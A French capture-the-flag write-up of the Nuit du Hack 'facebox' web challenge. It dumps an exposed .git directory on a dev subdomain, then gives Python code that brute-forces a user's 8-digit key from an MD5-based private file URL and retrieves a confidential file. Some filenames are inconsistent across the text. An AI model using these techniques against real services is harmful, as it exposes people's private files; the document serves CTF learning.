====== facebox ====== Web 100 points http://quals.nuitduhack.com/challenges/view/10 [[http://prod.facebox.challs.nuitduhack.com/]] ===== Énoncé ===== //"A shady company decided to write their own software for storing files in the cloud. No no no, this is OUR filebox. We decline any responsability in the usage of our filebox. In any event your files get lost, trashed, stolen or spy on : it's your fault, not ours." You are investigating on the security of their cloud storage as it might have disastrous consequences if it were to get hacked by malicious actors."// ===== challenge ===== le site prod.facebox.challs.nuitduhack.com permet de créer un compte puis de se logger. On peut ensuite uploader des fichiers sur le serveur soit en public soit en privé. Dans le second cas, l'url du fichier est cachée aux autres utilisateurs). ==== Upload de fichier ==== Après avoir perdu du temps à essayer d’exécuter du code sur la machine on se dit que s'il y a un prod, il doit également y avoir un dev. ==== dev ==== Bingo avec http://dev.facebox.challs.nuitduhack.com/ on trouve un projet git avec arborescence suivante : http://dev.facebox.challs.nuitduhack.com/.git/config http://dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG http://dev.facebox.challs.nuitduhack.com/.git/HEAD http://dev.facebox.challs.nuitduhack.com/.git/refs/heads/master http://dev.facebox.challs.nuitduhack.com/.git/logs/ La page http://dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG indique le dernier commit : "hash generation function" On peut facilement récupérer les fichiers présent sur ce dépôt avec rip-git.pl: [[https://github.com/ctfs/write-ups-2014/tree/master/9447-ctf-2014/tumorous]] [[https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-git.pl]] ==== Un peu de python ==== On trouve le script python suivant qui permet de générer les liens des fichiers uploadés : #!/usr/bin/env python # -*- coding: utf-8 -*- def generate_random_filename(user_id,filename): dbuser = users.query.filter_by(id=user_id).first() if dbuser.privkey is not None: return md5(str(dbuser.privkey)+filename).hexdigest() else: privkey = str(randint(10000000,99999999)) upd = users.query.filter_by(id=user_id).first() upd.privkey = privkey db.session.commit() return md5(str(privkey)+filename).hexdigest() ==== récupération de fichier privé ==== On nous a demandé de tester la sécurité de la plateforme, la récupération de fichier privé est une bonne faille de sécurité. Les premiers fichiers ont du être uploadé par le staff. On se rend compte qu'on doit récupérer le fichier privé **confidentials.txt** uploadé par l'utilisateur koffi. Heureusement un second fichier a été uploadé par cet utilisateur : **paste1.txt** à l'adresse [[http://prod.facebox.challs.nuitduhack.com/files/view/3686d78a6e9d5258773a6ae0469d3ed4]] Pour trouver la clé privée de koffi, on inverse rapidement le script précédent, et on brute force la clé privé : import hashlib for i in range(10000000,100000000): if((i % 10000000) == 0): print "%d" % (i) if(hashlib.md5(str(i)+"paste01.txt").hexdigest() == "3686d78a6e9d5258773a6ae0469d3ed4"): print "privkey found : %d" % (i) print "Done!" Résultat : privkey found : 95594864 Avec cette clé privée on applique l'algorithme avec le fichier **crendentials.txt** : import hashlib def generate_random_filename(user_id,filename): privkey = 95594864 print(hashlib.md5(str(privkey)+filename).hexdigest()) if __name__ == "__main__": generate_random_filename("koffi", "confidentials.txt") Résultat : 35e2cb0b2e8bd40347ecd4e32767a060 On se rend donc sur sur l'url : http://prod.facebox.challs.nuitduhack.com/files/view/35e2cb0b2e8bd40347ecd4e32767a060 On obtient le flag et on valide l'épreuve.